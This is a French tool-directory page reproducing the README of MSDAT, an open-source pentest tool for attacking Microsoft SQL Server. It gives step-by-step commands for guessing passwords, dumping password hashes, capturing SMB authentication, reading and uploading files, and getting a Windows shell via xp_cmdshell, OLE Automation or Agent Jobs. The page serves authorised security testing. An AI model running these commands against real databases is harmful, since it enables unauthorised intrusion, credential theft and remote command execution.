Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
msdat — MSDAT: Outil d'attaque de base de données Microsoft SQL | Kitploit
Outils/GitHubGitHub/quentinhardy/msdat
Escalade de PrivilègesAttaques de Mots de PasseExploitationCollecte d'InformationsTests d'IntrusionSécurité des Bases de Données
GitHubquentinhardy/msdat

msdat

MSDAT: Outil d'attaque de base de données Microsoft SQL

Voir le dépôt
1.0k14515il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT (Microsoft SQL Database Attacking Tool) est un outil de test d'intrusion open source qui teste la sécurité des bases de données Microsoft SQL à distance.

Exemples d'utilisation de MSDAT :

  • Vous avez une base de données Microsoft qui écoute à distance et vous souhaitez trouver des identifiants valides pour vous connecter à la base de données
  • Vous avez un compte Microsoft SQL valide sur une base de données et vous souhaitez élever vos privilèges
  • Vous avez un compte Microsoft SQL valide et vous souhaitez exécuter des commandes sur le système d'exploitation hébergeant cette base de données (par exemple xp_cmdshell, OLE Automation, Agent Jobs)

Testé sur les bases de données Microsoft SQL 2005, 2008, 2012, 2014, 2016 et 2019.

Journal des modifications

  • Version 2.4 (2022/12/28) :
    • 2 nouvelles options dans le module search : --privs et --privs-full pour obtenir les rôles et privilèges de l'utilisateur courant (par exemple privilèges de connexion et de base de données)
    • 1 nouvelle option dans le module search : --config pour obtenir les configurations et informations de la base de données (version, bases de données, utilisateurs, utilisateurs désactivés, procédures stockées, etc)
  • Version 2.3 (2022/12/18) :
    • compatible avec Microsoft SQL Server 2019
    • nouvelle option --schema-dump dans le module search pour extraire le schéma et le sauvegarder dans un fichier (sauf pour les bases de données par défaut)
    • nouvelle option --table-dump dans le module search pour extraire toutes les tables et les sauvegarder dans un fichier (sauf pour les bases de données par défaut)
    • nouvelle option --sql-shell dans le module search pour obtenir un pseudo shell SQL minimal
  • Version 2.2 (2022/04/29) :
    • --nmap-file et -l peuvent maintenant être utilisés dans le module all et le module passwordguesser. Vous pouvez fournir une liste de cibles avec -l ou un fichier nmap avec --nmap-file.
    • Plusieurs corrections de bogues
  • Version 2.1 (2020/03/04) :
    • Option --nmap-file pour charger tous les services mssql à partir d'un fichier XML nmap (python-libnmap doit être installé)
  • Version 2.0 (2020/03/04) :
    • Passage de Python 2 à Python 3 : MSDAT est désormais compatible uniquement avec Python 3. Python 2 n'est pas supporté.
    • Option de séparateur dans le module de devine-mot de passe
    • Améliorations de la capture d'erreurs dans l'option --put-file du module xpcmdshell
    • Améliorations de l'option de reverse shell du module jobs
    • Module OLE automation - améliorations de l'exécution de commandes
    • Module OLE automation - implémentation du reverse shell Powershell
    • nouvelle option pour imprimer la liste des jobs agents et leur code : --print-jobs
  • Version 1.2 (2020/02/26) :
    • Nouvelle méthode dans le module xpCmdShell : Téléverser un fichier binaire avec powershell (--put-file)

Fonctionnalités

Grâce à MSDAT (Microsoft SQL Database Attacking Tool), vous pouvez (liste non exhaustive) :

  • obtenir des informations techniques (ex : version de la base de données) d'une base de données MSSQL sans être authentifié
  • charger un fichier nnmap pour analyser toutes les cibles MSSQL
  • rechercher des comptes MSSQL avec une attaque par dictionnaire
  • tester chaque login comme mot de passe (authentification requise)
  • obtenir un shell Windows sur le serveur de base de données avec
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • télécharger des fichiers à distance avec :
    • OLE Automation
    • bulkinsert
    • openrowset
  • téléverser des fichiers sur le serveur avec :
    • OLE Automation
    • openrowset
  • capturer une authentification SMB grâce à :
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • voler les mots de passe hachés MSSQL, sur n'importe quelle version MSSQL
  • scanner des ports à travers la base de données :
    • openrowset
  • exécuter des requêtes SQL sur un serveur MSSQL distant à travers la base de données (cible) avec :
    • bulkinsert
    • openrowset
  • lister les fichiers/répertoires avec :
    • xp_subdirs
    • xp_dirtree
  • lister les disques/supports avec :
    • xp_fixeddrives
    • xp_availablemedia
  • créer un dossier avec :
    • xp_create_subdir
  • rechercher des données sensibles dans les tables (par exemple des identifiants)
  • obtenir la configuration de la base de données (bases de données, utilisateurs, procédures stockées, etc.)
  • extraire le schéma et les informations de toutes les tables
  • exécuter des commandes SQL de base dans un pseudo shell SQL

Installation

Certaines dépendances doivent être installées pour exécuter MSDAT.

Sous ubuntu :

root@kitploit:~
sudo apt-get install freetds-dev 

ou téléchargez freetds sur http://www.freetds.org/

Installer les dépendances Python :

root@kitploit:~
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

ou

root@kitploit:~
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Ajoutez "use ntlmv2 = yes" dans votre fichier de configuration freetds (ex : /etc/freetds/freetds.conf ou /usr/local/etc/freetds.conf). Exemple :

root@kitploit:~
[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Pour commencer

root@kitploit:~
python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

By Quentin Hardy ([email protected])

positional arguments:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Choose a main command
    all                 to run all modules in order to know what it is possible to do
    mssqlinfo           to get information without authentication
    passwordguesser     to know valid credentials
    passwordstealer     to get hashed passowrds
    xpcmdshell          to get a shell
    jobs                to execute system commands
    smbauthcapture      to capture a SMB authentication
    oleautomation       to read/write file and execute system commands
    bulkopen            to read a file and scan ports
    xpdirectory         to list files/drives and to create directories
    trustworthype       to become sysadmin with the trustwothy database method
    userlikepwd         to try each MSSQL username stored in the DB like the corresponding pwd
    search              to search in column names
    cleaner             clean local traces

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

Exemples

Modules

  • Vous pouvez lister tous les modules :
root@kitploit:~
./msdat.py -h
  • Lorsque vous avez choisi un module (exemple : all), vous pouvez l'utiliser et lister toutes les fonctionnalités et options du module :
root@kitploit:~
./msdat.py all -h

Vous pouvez savoir si un module spécifique peut être utilisé sur un serveur MSSQL grâce à l'option --test-module. Cette option est implémentée dans chaque module mdat.

Module all

Le module all vous permet d'exécuter tous les modules (dépend des options que vous avez fournies).

root@kitploit:~
python msdat.py all -s $SERVER

Si vous souhaitez :

  • utiliser votre propre fichier de comptes pour l'attaque par dictionnaire
  • essayer plusieurs mots de passe pour un utilisateur sans vous demander
  • définir votre propre valeur de timeout
root@kitploit:~
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

Dans chaque module, vous pouvez définir le jeu de caractères à utiliser avec l'option --charset.

Module mssqlinfo

Pour obtenir des informations techniques sur un serveur MSSQL distant sans être authentifié :

root@kitploit:~
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

Ce module utilise le protocole TDS et le serveur de navigation SQL pour obtenir des informations.

Module passwordguesser

Ce module vous permet de rechercher des identifiants valides :

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

L'option --force-retry permet de tester plusieurs mots de passe pour chaque utilisateur sans vous demander

Vous pouvez spécifier votre propre fichier de comptes avec l'option --accounts-file :

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

Module passwordstealer

Pour extraire les mots de passe hachés :

root@kitploit:~
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

Ce module a été testé sur SQL Server 2000, 2005, 2008 et 2014.

Module xpcmdshell

Pour exécuter des commandes système grâce à xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx) :

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

Cette commande précédente vous donne un shell interactif sur le serveur de base de données distant.

Si xp_cmdshell n'est pas activé, l'option --enable-xpcmdshell peut être utilisée dans ce module pour l'activer :

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

L'option --enable-xpcmdshell active xp_cmdshell s'il n'est pas activé (non activé par défaut).

L'option --disable-xpcmdshell désactive xp_cmdshell s'il est activé.

Module smbauthcapture

Grâce à ce module, vous pouvez capturer une authentification SMB :

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

Pour capturer l'authentification SMB, le module auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) de metasploit peut être utilisé :

root@kitploit:~
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

La commande capture de ce module essaie de capturer une authentification SMB grâce à la procédure xp_dirtree, xp_fileexist ou xp-getfiledetails.

Si vous souhaitez choisir la procédure d'authentification SMB pour capturer l'authentification :

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

Vous pouvez changer le nom du PARTAGE avec l'option --share-name.

Module oleautomation

Ce module peut être utilisé pour lire/écrire des fichiers sur le serveur de base de données.

La commande suivante lit le fichier temp.txt stocké sur le serveur de base de données :

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

Pour écrire une chaîne dans un fichier (temp.txt) à distance :

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

Ce module peut être utilisé pour télécharger un fichier (C:\Users\Administrator\Desktop\temp.txt) stocké sur le serveur de base de données :

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

De plus, vous pouvez utiliser ce module pour téléverser un fichier (temp.txt) sur la cible :

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

Module bulkopen

Le module bulkopen peut être utilisé :

  • pour lire/télécharger des fichiers stockés sur un serveur de base de données
  • pour scanner des ports à travers le serveur de base de données
  • pour exécuter des requêtes SQL sur un serveur MSSQL distant à travers la base de données

Pour lire un fichier stocké sur la cible, la commande suivante peut être utilisée :

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

L'option --method peut être utilisée pour spécifier la méthode à utiliser :

  • bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) ou
  • openrowset (https://msdn.microsoft.com/en-us/library/ms190312.aspx) :
root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

Pour télécharger un fichier (C:\Users\Administrator\Desktop\temp.txt) :

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Ce module peut être utilisé pour scanner des ports (1433 et 1434 de 127.0.0.1) à travers le serveur de base de données :

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

Vous pouvez scanner une plage de ports :

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

Ce module peut être utilisé pour exécuter des requêtes SQL (ex : select @@ServerName) sur un serveur de base de données distant (ex : $SERVER2) à travers la base de données ($SERVER) :

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

Module xpdirectory

Le module xpdirectory peut être utilisé :

  • pour lister :
  • les fichiers
  • les répertoires
  • les disques
  • pour vérifier si un fichier existe
  • pour créer un répertoire

Pour lister les fichiers dans un répertoire spécifique :

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

Pour lister les répertoires dans un répertoire spécifique :

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

Pour lister les disques :

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

Pour vérifier si un fichier existe :

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

Pour créer un répertoire :

root@kitploit:~
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

Module search

Le module search peut être utilisé pour rechercher un motif dans les noms de colonnes des tables et des vues. Utile pour rechercher le motif %password% dans les noms de colonnes par exemple.

Pour obtenir les noms de colonnes qui contiennent des motifs de mot de passe (ex : passwd, password, motdepasse, clave) :

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Si vous souhaitez voir les noms de colonnes qui ne contiennent pas de données, vous devez utiliser l'option --show-empty-columns.

Pour rechercher un motif spécifique dans les noms de colonnes des vues et des tables :

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Donation

Si vous souhaitez soutenir mon travail en faisant un don, je l'apprécierai beaucoup :

  • Via BTC : 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
Télécharger l’outil
  • Amélioration dans oleAutomation : téléverser le fichier en mode binaire au lieu d'un fichier texte
  • Version 1.1 (2019/07/12) :
    • beaucoup d'autres identifiants par défaut. Merci à https://github.com/govolution/betterdefaultpasslist/
  • Version 1.0 (2017/02/15) :
    • première version publiée